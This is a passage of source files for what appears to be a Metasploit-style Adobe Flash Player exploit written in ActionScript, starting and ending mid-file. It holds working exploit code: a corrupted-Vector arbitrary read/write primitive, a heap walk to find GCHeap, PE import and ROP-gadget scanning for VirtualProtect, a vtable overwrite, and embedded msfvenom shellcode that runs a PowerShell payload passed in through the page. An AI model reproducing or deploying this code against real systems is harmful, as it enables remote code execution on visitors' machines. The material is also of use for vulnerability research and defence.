// FixedBlock at the start of the page that our vector is allocated
|
||||
// on, and that holds a pointer back to the global GCHeap, which is
|
||||
// a static singleton in the flash module. I've copied in the class
|
||||
// declarations for the structures being traversed, for reference.
|
||||
|
||||
var fixed_block:uint = m.vector_base & 0xfffff000;
|
||||
|
||||
/*
|
||||
struct FixedBlock
|
||||
{
|
||||
void* firstFree; // First object on the block's free list
|
||||
void* nextItem; // First object free at the end of the block
|
||||
FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator)
|
||||
FixedBlock* prev; // Previous block on the list of blocks
|
||||
uint16_t numAlloc; // Number of items allocated from the block
|
||||
uint16_t size; // Size of objects in the block
|
||||
FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator)
|
||||
FixedBlock *prevFree; // Previous block on the list of blocks with free items
|
||||
-------> FixedAlloc *alloc; // The allocator that owns this block
|
||||
char items[1];l // Memory for objects starts here
|
||||
};
|
||||
*/
|
||||
|
||||
var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c);
|
||||
|
||||
/*
|
||||
class FixedAlloc
|
||||
{
|
||||
private:
|
||||
-------> GCHeap *m_heap; // The heap from which we obtain memory
|
||||
uint32_t m_itemsPerBlock; // Number of items that fit in a block
|
||||
uint32_t m_itemSize; // Size of each individual item
|
||||
|
||||
FixedBlock* m_firstBlock; // First block on list of free blocks
|
||||
FixedBlock* m_lastBlock; // Last block on list of free blocks
|
||||
FixedBlock* m_firstFree; // The lowest priority block that has free items
|
||||
|
||||
size_t m_numBlocks; // Number of blocks owned by this allocator
|
||||
#ifdef MMGC_MEMORY_PROFILER
|
||||
size_t m_totalAskSize; // Current total amount of memory requested from this allocator
|
||||
#endif
|
||||
bool const m_isFixedAllocSafe; // true if this allocator's true type is FixedAllocSafe
|
||||
}
|
||||
*/
|
||||
|
||||
var gcheap:uint = m.read_dword(fixed_alloc);
|
||||
|
||||
return gcheap;
|
||||
}
|
||||
|
||||
public function FindPwned(m:Memory, gcheap:uint):uint {
|
||||
|
||||
// we're going to walk the heap to find it because we don't like
|
||||
// being crashy. a lazier approach would be to spray a ton of
|
||||
// objects and scan forward from our array; this is more reliable.
|
||||
|
||||
/*
|
||||
class GCHeap
|
||||
{
|
||||
public:
|
||||
-------> Region *lastRegion;
|
||||
|
||||
private:
|
||||
...
|
||||
};
|
||||
*/
|
||||
|
||||
// I have no idea why this is at offset 4. GCheap is not virtual
|
||||
// so perhaps the Flash code has changed since the github avmplus
|
||||
// release.
|
||||
|
||||
var region:uint = m.read_dword(gcheap + 4);
|
||||
|
||||
/*
|
||||
class Region
|
||||
{
|
||||
public:
|
||||
Region *prev;
|
||||
char *baseAddr;
|
||||
char *reserveTop;
|
||||
char *commitTop;
|
||||
size_t blockId;
|
||||
};
|
||||
*/
|
||||
|
||||
while (region != 0) {
|
||||
var region_base:uint = m.read_dword(region + 4);
|
||||
var region_rtop:uint = m.read_dword(region + 8);
|
||||
var region_top:uint = m.read_dword(region + 12);
|
||||
|
||||
if (region_rtop & 1 != 0) {
|
||||
Debug('[*] this browser already got pwned, go away');
|
||||
return 0;
|
||||
}
|
||||
|
||||
m.write_dword(region + 8, region_rtop + 1);
|
||||
|
||||
// TODO: we can optimise here as we know the alignment of the
|
||||
// magic values.
|
||||
|
||||
Debug(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']');
|
||||
|
||||
for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) {
|
||||
if (m.read_dword(ptr) == 0xdecafbad
|
||||
&& m.read_dword(ptr + 4) == 0xdecafbad) {
|
||||
|
||||
// we have found our two magic values
|
||||
return ptr - 0x10;
|
||||
}
|
||||
}
|
||||
|
||||
// region = region->prev;
|
||||
region = m.read_dword(region);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
|
||||
var myshellcode:Array = GetPayload();
|
||||
// at this point we are sandwiched on the stack between the current
|
||||
// frame and the previous frame; this is hazardous, we need to
|
||||
// shift our stack back above the current frame or things will go
|
||||
// wrong(tm).
|
||||
v[i++] = 0x1000ec81; // 81ec00100000 sub esp, 0x1000
|
||||
v[i++] = 0x90900000;
|
||||
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
|
||||
|
||||
// Our payload (see GetPayload)
|
||||
for (var payload_i:int; payload_i < myshellcode.length; payload_i++) {
|
||||
v[i++] = myshellcode[payload_i];
|
||||
}
|
||||
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
|
||||
|
||||
|
||||
// we just put things back how they were; at least, everything
|
||||
// important. we need esp and ebp to be correct, which is easy;
|
||||
// we need ecx to point to the object's vtable and then we can
|
||||
// just jump to the actual method implementation as though we
|
||||
// had hooked it.
|
||||
|
||||
v[i++] = 0x0bf8c481; // 81C4F80B0000 add esp,0xbf8
|
||||
v[i++] = 0x90900000;
|
||||
v[i++] = 0x1c24ac8d; // 8DAC241c120000 lea ebp,[esp+0x121c]
|
||||
v[i++] = 0x90000012;
|
||||
v[i++] = 0xb9909090; // B944434241 mov ecx, vtable_ptr
|
||||
v[i++] = ptr;
|
||||
v[i++] = 0xb8909090; // B844434241 mov eax, orig_function_ptr
|
||||
v[i++] = fun;
|
||||
v[i++] = 0x9090e0ff; // FFE0 jmp eax
|
||||
}
|
||||
|
||||
public function GetPayload():Array {
|
||||
// Grab the powershell payload from the sh parameter in the HTML file
|
||||
var b64:Base64Decoder = new Base64Decoder();
|
||||
var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
|
||||
b64.decode(raw_psh_payload);
|
||||
var psh_payload:String = b64.toByteArray().toString();
|
||||
|
||||
// This is generated from here:
|
||||
// ./msfvenom -p windows/exec CMD=AAAA -f ruby -e generic/none
|
||||
// The original souce can be found at: msf/externa/source/shellcode/single_exec.asm
|
||||
var payload:String = "" +
|
||||
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14" +
|
||||
"\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
|
||||
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59" +
|
||||
"\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
|
||||
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
|
||||
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
|
||||
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68" +
|
||||
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
|
||||
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00";
|
||||
|
||||
// Here we convert the binary string to an array of DWORDS
|
||||
var arr:Array = new Array();
|
||||
for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) {
|
||||
var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join("");
|
||||
var hex:String = "";
|
||||
for (var i2:int = 0; i2 < dword.length; i2++) {
|
||||
var byte:String = dword.charCodeAt(i2).toString(16);
|
||||
// The toString(16) conversion doesn't print zeros the way we want it.
|
||||
// Like for example: for a null byte, it returns: '0', but the format should be: '00'
|
||||
// Another example: For 0x0c, it returns 'c', but it should be '0c'
|
||||
if (byte == '0') {
|
||||
byte = "00";
|
||||
} else if (byte.length == 1) {
|
||||
byte = '0' + byte;
|
||||
}
|
||||
hex += byte;
|
||||
}
|
||||
var real_dword:uint = parseInt(hex, 16);
|
||||
arr.push(real_dword);
|
||||
}
|
||||
|
||||
return arr;
|
||||
}
|
||||
|
||||
|
||||
public function Main() {
|
||||
i = 0;
|
||||
|
||||
Initialise();
|
||||
|
||||
var r:RegExp = CompileRegex();
|
||||
if (r == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Debug("Corrupting Vector");
|
||||
|
||||
var v:Vector.<uint> = CorruptVector(r);
|
||||
if (v == null) {
|
||||
Debug("CorruptVector returns null");
|
||||
return;
|
||||
}
|
||||
|
||||
var m:Memory = new Memory(v, v[0], 0x6e);
|
||||
|
||||
// at this point we have an absolute read/write primitive letting
|
||||
// us read and write dwords anywhere in memory, so everything else
|
||||
// is a technicality.
|
||||
|
||||
// we need an exception handler from here, because we have a vector
|
||||
// that's addressing the whole address space, and if anything goes
|
||||
// wrong, we want to clean that up or things will get unpleasant.
|
||||
|
||||
try {
|
||||
|
||||
// first we follow some pointers on the heap back to retrieve
|
||||
// the address of the static GCHeap object in the flash module.
|
||||
|
||||
// this is useful for two reasons; firstly it gives us a
|
||||
// pointer into the flash module, but secondly (and more
|
||||
// importantly) we can use the region lists in the GCHeap
|
||||
// structure to safely scan the heap to find things.
|
||||
|
||||
var gcheap:uint = FindGCHeap(m);
|
||||
if (gcheap == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// now we can parse the flash module in memory, locate useful
|
||||
// imports and find the stack adjust gadget that we need.
|
||||
|
||||
Debug('[*] scanning flash module for gadgets');
|
||||
var p:PE32 = new PE32(m, gcheap);
|
||||
|
||||
Debug(' [-] ' + p.base.toString(16) + ' flash base');
|
||||
|
||||
var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect');
|
||||
Debug(' [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect');
|
||||
|
||||
// Find this in Flash
|
||||
// 81 c4 40 00 00 00 add esp, 40h
|
||||
// c3 ret
|
||||
var gadget_bytes:ByteArray = new ByteArray();
|
||||
gadget_bytes.length = 7;
|
||||
gadget_bytes.writeByte(0x81);
|
||||
gadget_bytes.writeByte(0xc4);
|
||||
gadget_bytes.writeByte(0x40);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0xc3);
|
||||
|
||||
var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes);
|
||||
var ret:uint = add_esp_40h_ret + 6;
|
||||
Debug(' [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret');
|
||||
Debug(' [-] ' + ret.toString(16) + ' ret');
|
||||
|
||||
// now we create an actionscript class that we can readily
|
||||
// signature on the heap; we're going to find this object and
|
||||
// overwrite its vtable pointer to gain control of execution.
|
||||
|
||||
Debug('[*] scanning heap to find pwned object');
|
||||
var pwned:Pwned = new Pwned();
|
||||
var pwned_ptr:uint = FindPwned(m, gcheap);
|
||||
Debug('[*] pwned object: ' + pwned_ptr.toString(16));
|
||||
if (pwned_ptr == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// we have a pointer to the object; save the vtable pointer for
|
||||
// replacement later and then create a new vtable containing
|
||||
// our gadget at the correct offset for the 'Rop' function.
|
||||
|
||||
// object ptr is actually a ScriptObject* for our ClassClosure?
|
||||
var object_ptr:uint = m.read_dword(pwned_ptr + 8);
|
||||
var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4);
|
||||
var method_ptr:uint = m.read_dword(vtable_ptr + 4);
|
||||
|
||||
var shellcode:uint = m.vector_base + 4;
|
||||
|
||||
WriteShellcode(v, 1, vtable_ptr, method_ptr);
|
||||
|
||||
// invoking the method first makes our life simpler; otherwise
|
||||
// flash will go hunt for the right method, and recovery was
|
||||
// quite messy.
|
||||
|
||||
var a:uint = 0x61616161;
|
||||
pwned.Rop(
|
||||
a, a, a, a, a, a, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret);
|
||||
|
||||
// overwrite the method pointer
|
||||
m.write_dword(vtable_ptr + 4, add_esp_40h_ret);
|
||||
|
||||
// fix up our vector length already, since we won't need it again.
|
||||
m.Cleanup();
|
||||
|
||||
var PAGE_EXECUTE_READWRITE:uint = 0x40;
|
||||
|
||||
// where better to rop than the actual stack :-P
|
||||
Debug('[*] getting ma rop on');
|
||||
pwned.Rop(
|
||||
|
||||
// ret sled oh yeah!
|
||||
|
||||
// actually this is just me lazily making stack space so
|
||||
// that VirtualProtect doesn't trample all over any of
|
||||
// flash's stuff and make it have a sad.
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // 3f
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // 7f
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // cf
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
|
||||
virtual_protect, // BOOL WINAPI VirtualProtect(
|
||||
shellcode, // ...
|
||||
shellcode, // LPVOID lpAddress,
|
||||
0x1000, // SIZE_T dwSize,
|
||||
PAGE_EXECUTE_READWRITE, // DWORD flNewProtect,
|
||||
m.vector_base, // LPDWORD lpflOldProtect
|
||||
// );
|
||||
|
||||
0x41414141, 0x41414141);
|
||||
|
||||
Debug('[*] we survived!');
|
||||
|
||||
// no need to fix the vtable, as we only overwrote the pointer
|
||||
// for the Rop method, and it won't get called again.
|
||||
|
||||
} catch (e:Error) {
|
||||
Debug('[!] error: ' + e.message);
|
||||
} finally {
|
||||
// we *always* need to clean up our corrupt vector as flash
|
||||
// will try to zero it out later otherwise...
|
||||
|
||||
Debug('[*] cleaning up corrupted vector');
|
||||
m.Cleanup();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,150 @@
|
|||
package
|
||||
{
|
||||
// some utilities to encapsulate using the relative read/write of the
|
||||
// corrupt vector.<uint> as an absolute read/write of the whole address
|
||||
// space.
|
||||
public class Memory
|
||||
{
|
||||
public var vector:Vector.<uint>;
|
||||
public var vector_base:uint;
|
||||
public var vector_size:uint;
|
||||
|
||||
private static function negative(i:uint):uint {
|
||||
return (~i) + 1;
|
||||
}
|
||||
|
||||
public function Memory(v:Vector.<uint>, b:uint, s:uint) {
|
||||
vector = v;
|
||||
vector_base = b;
|
||||
vector_size = s;
|
||||
}
|
||||
|
||||
public function Cleanup():void {
|
||||
|
||||
// restore the correct size to our vector so that flash doesn't
|
||||
// inadvertently trample on lots of memory.
|
||||
|
||||
vector[negative(2)] = vector_size;
|
||||
}
|
||||
|
||||
public function read_dword(address:uint):uint {
|
||||
var offset:uint = 0;
|
||||
|
||||
if (address & 0x3 != 0) {
|
||||
|
||||
// NB: we could read 2 dwords here, and produce the correct
|
||||
// dword, but that could lead to oob reads if we're close to
|
||||
// a page boundary. take the path of least danger, and throw
|
||||
// for debugging.
|
||||
|
||||
throw 'read_dword called with misaligned address'
|
||||
}
|
||||
|
||||
if (address < vector_base) {
|
||||
offset = negative((vector_base - address) >> 2);
|
||||
}
|
||||
else {
|
||||
offset = address - vector_base >> 2;
|
||||
}
|
||||
|
||||
try {
|
||||
return vector[offset];
|
||||
} catch (e:Error) {
|
||||
|
||||
// we can't read at offset 0xffffffff, sometimes we will want
|
||||
// to, but that is just life.
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function read_byte(address:uint):uint {
|
||||
var dword_address:uint = address & 0xfffffffc;
|
||||
var dword:uint = read_dword(dword_address);
|
||||
|
||||
while (address & 0x3) {
|
||||
dword = dword >> 8;
|
||||
address -= 1;
|
||||
}
|
||||
|
||||
return (dword & 0xff);
|
||||
}
|
||||
|
||||
public function read_string(address:uint):String {
|
||||
var string:String = '';
|
||||
var dword:uint = 0;
|
||||
|
||||
while (address & 0x3) {
|
||||
var char:uint = read_byte(address);
|
||||
|
||||
if (char == 0) {
|
||||
return string;
|
||||
}
|
||||
|
||||
string += String.fromCharCode(char);
|
||||
address += 1;
|
||||
}
|
||||
|
||||
while (true) {
|
||||
dword = read_dword(address);
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
address += 4;
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
public function write_dword(address:uint, value:uint):void {
|
||||
var offset:uint = 0;
|
||||
|
||||
if (address & 0x3 != 0) {
|
||||
|
||||
// NB: we could read 2 dwords here, and write 2 dwords, and
|
||||
// produce the correct dword, but that could lead to oob reads
|
||||
// and writes if we're close to a page boundary. take the path
|
||||
// of least danger, and throw for debugging.
|
||||
|
||||
throw 'write_dword called with misaligned address'
|
||||
}
|
||||
|
||||
if (address < vector_base) {
|
||||
offset = negative((vector_base - address) >> 2);
|
||||
}
|
||||
else {
|
||||
offset = (address - vector_base) >> 2;
|
||||
}
|
||||
|
||||
vector[offset] = value;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,157 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray;
|
||||
|
||||
public class PE32
|
||||
{
|
||||
private var m:Memory;
|
||||
|
||||
public var base:uint;
|
||||
public var dos_header:uint;
|
||||
public var nt_header:uint;
|
||||
public var file_header:uint;
|
||||
public var opt_header:uint;
|
||||
|
||||
private function FindBase(ptr:uint):uint {
|
||||
ptr = ptr & 0xffff0000;
|
||||
var dword:uint = m.read_dword(ptr);
|
||||
|
||||
while ((dword & 0xffff) != 0x5a4d) {
|
||||
ptr -= 0x10000;
|
||||
dword = m.read_dword(ptr);
|
||||
}
|
||||
|
||||
return ptr;
|
||||
}
|
||||
|
||||
public function ParseHeaders():void {
|
||||
dos_header = base;
|
||||
var e_lfanew:uint = m.read_dword(dos_header + 60);
|
||||
|
||||
nt_header = dos_header + e_lfanew;
|
||||
var nt_magic:uint = m.read_dword(nt_header);
|
||||
if (nt_magic != 0x00004550) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
file_header = nt_header + 4;
|
||||
var machine:uint = m.read_dword(file_header);
|
||||
if ((machine & 0xffff) != 0x014c) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
file_header = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
opt_header = nt_header + 24;
|
||||
var opt_magic:uint = m.read_dword(opt_header);
|
||||
if ((opt_magic & 0xffff) != 0x10b) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
file_header = 0;
|
||||
opt_header = 0;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
public function GetImport(mod_name:String, fun_name:String):uint {
|
||||
if (base == 0 || dos_header == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
var data_directory:uint = opt_header + 96;
|
||||
|
||||
var import_dir:uint = data_directory + 8;
|
||||
var import_rva:uint = m.read_dword(import_dir);
|
||||
var import_size:uint = m.read_dword(import_dir + 4);
|
||||
if (import_size == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
var import_descriptor:uint = base + import_rva;
|
||||
var orig_first_thunk:uint = m.read_dword(import_descriptor);
|
||||
while (orig_first_thunk != 0) {
|
||||
|
||||
var module_name_ptr:uint =
|
||||
dos_header + m.read_dword(import_descriptor + 12);
|
||||
|
||||
if (module_name_ptr != 0) {
|
||||
var module_name:String = m.read_string(module_name_ptr);
|
||||
if (module_name == mod_name) {
|
||||
orig_first_thunk += dos_header;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
import_descriptor += (5 * 4);
|
||||
orig_first_thunk = m.read_dword(import_descriptor);
|
||||
}
|
||||
|
||||
var first_thunk:uint = dos_header + m.read_dword(import_descriptor + 16);
|
||||
var thunk:uint = orig_first_thunk;
|
||||
var import_by_name_rva:uint = m.read_dword(thunk);
|
||||
while (import_by_name_rva != 0) {
|
||||
var function_name_ptr:uint = dos_header + import_by_name_rva + 2;
|
||||
|
||||
var function_name:String = m.read_string(function_name_ptr);
|
||||
if (function_name == fun_name) {
|
||||
return m.read_dword(first_thunk);
|
||||
}
|
||||
|
||||
thunk += 4;
|
||||
first_thunk += 4;
|
||||
import_by_name_rva = m.read_dword(thunk);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function GetGadget(gadget:ByteArray):uint {
|
||||
var opt_header_size:uint = m.read_dword(file_header + 16) & 0xffff;
|
||||
var section_count:uint = (m.read_dword(file_header) >> 16) & 0xffff;
|
||||
var section_header:uint = opt_header + opt_header_size;
|
||||
|
||||
for (var i:uint = 0; i < section_count; ++i) {
|
||||
var characteristics:uint = m.read_dword(section_header + (9 * 4));
|
||||
|
||||
if ((characteristics & 0xe0000000) == 0x60000000) {
|
||||
// this section is read/execute, so scan for gadget
|
||||
|
||||
var section_rva:uint = m.read_dword(section_header + 12);
|
||||
var section_size:uint = m.read_dword(section_header + 16);
|
||||
var section_base:uint = base + section_rva;
|
||||
var section:ByteArray = new ByteArray();
|
||||
section.endian = "littleEndian";
|
||||
section.length = section_size;
|
||||
|
||||
for (var j:uint = 0; j < section_size; j += 4) {
|
||||
section.writeUnsignedInt(
|
||||
m.read_dword(section_base + j));
|
||||
}
|
||||
|
||||
for (j = 0; j < section_size; j += 1) {
|
||||
section.position = j;
|
||||
gadget.position = 0;
|
||||
while (section.readByte() == gadget.readByte()) {
|
||||
if (gadget.position == gadget.length) {
|
||||
return section_base + j;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
section_header += 10 * 5;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function PE32(memory:Memory, ptr:uint) {
|
||||
m = memory;
|
||||
base = FindBase(ptr);
|
||||
ParseHeaders();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,51 @@
|
|||
package
|
||||
{
|
||||
public class Pwned
|
||||
{
|
||||
public var magic1:uint;
|
||||
public var magic2:uint;
|
||||
|
||||
public function Rop(
|
||||
arg_00:uint, arg_01:uint, arg_02:uint, arg_03:uint, arg_04:uint, arg_05:uint, arg_06:uint, arg_07:uint,
|
||||
arg_08:uint, arg_09:uint, arg_0a:uint, arg_0b:uint, arg_0c:uint, arg_0d:uint, arg_0e:uint, arg_0f:uint,
|
||||
arg_10:uint, arg_11:uint, arg_12:uint, arg_13:uint, arg_14:uint, arg_15:uint, arg_16:uint, arg_17:uint,
|
||||
arg_18:uint, arg_19:uint, arg_1a:uint, arg_1b:uint, arg_1c:uint, arg_1d:uint, arg_1e:uint, arg_1f:uint,
|
||||
arg_20:uint, arg_21:uint, arg_22:uint, arg_23:uint, arg_24:uint, arg_25:uint, arg_26:uint, arg_27:uint,
|
||||
arg_28:uint, arg_29:uint, arg_2a:uint, arg_2b:uint, arg_2c:uint, arg_2d:uint, arg_2e:uint, arg_2f:uint,
|
||||
arg_30:uint, arg_31:uint, arg_32:uint, arg_33:uint, arg_34:uint, arg_35:uint, arg_36:uint, arg_37:uint,
|
||||
arg_38:uint, arg_39:uint, arg_3a:uint, arg_3b:uint, arg_3c:uint, arg_3d:uint, arg_3e:uint, arg_3f:uint,
|
||||
arg_40:uint, arg_41:uint, arg_42:uint, arg_43:uint, arg_44:uint, arg_45:uint, arg_46:uint, arg_47:uint,
|
||||
arg_48:uint, arg_49:uint, arg_4a:uint, arg_4b:uint, arg_4c:uint, arg_4d:uint, arg_4e:uint, arg_4f:uint,
|
||||
arg_50:uint, arg_51:uint, arg_52:uint, arg_53:uint, arg_54:uint, arg_55:uint, arg_56:uint, arg_57:uint,
|
||||
arg_58:uint, arg_59:uint, arg_5a:uint, arg_5b:uint, arg_5c:uint, arg_5d:uint, arg_5e:uint, arg_5f:uint,
|
||||
arg_60:uint, arg_61:uint, arg_62:uint, arg_63:uint, arg_64:uint, arg_65:uint, arg_66:uint, arg_67:uint,
|
||||
arg_68:uint, arg_69:uint, arg_6a:uint, arg_6b:uint, arg_6c:uint, arg_6d:uint, arg_6e:uint, arg_6f:uint,
|
||||
arg_70:uint, arg_71:uint, arg_72:uint, arg_73:uint, arg_74:uint, arg_75:uint, arg_76:uint, arg_77:uint,
|
||||
arg_78:uint, arg_79:uint, arg_7a:uint, arg_7b:uint, arg_7c:uint, arg_7d:uint, arg_7e:uint, arg_7f:uint,
|
||||
arg_80:uint, arg_81:uint, arg_82:uint, arg_83:uint, arg_84:uint, arg_85:uint, arg_86:uint, arg_87:uint,
|
||||
arg_88:uint, arg_89:uint, arg_8a:uint, arg_8b:uint, arg_8c:uint, arg_8d:uint, arg_8e:uint, arg_8f:uint,
|
||||
arg_90:uint, arg_91:uint, arg_92:uint, arg_93:uint, arg_94:uint, arg_95:uint, arg_96:uint, arg_97:uint,
|
||||
arg_98:uint, arg_99:uint, arg_9a:uint, arg_9b:uint, arg_9c:uint, arg_9d:uint, arg_9e:uint, arg_9f:uint,
|
||||
arg_a0:uint, arg_a1:uint, arg_a2:uint, arg_a3:uint, arg_a4:uint, arg_a5:uint, arg_a6:uint, arg_a7:uint,
|
||||
arg_a8:uint, arg_a9:uint, arg_aa:uint, arg_ab:uint, arg_ac:uint, arg_ad:uint, arg_ae:uint, arg_af:uint,
|
||||
arg_b0:uint, arg_b1:uint, arg_b2:uint, arg_b3:uint, arg_b4:uint, arg_b5:uint, arg_b6:uint, arg_b7:uint,
|
||||
arg_b8:uint, arg_b9:uint, arg_ba:uint, arg_bb:uint, arg_bc:uint, arg_bd:uint, arg_be:uint, arg_bf:uint,
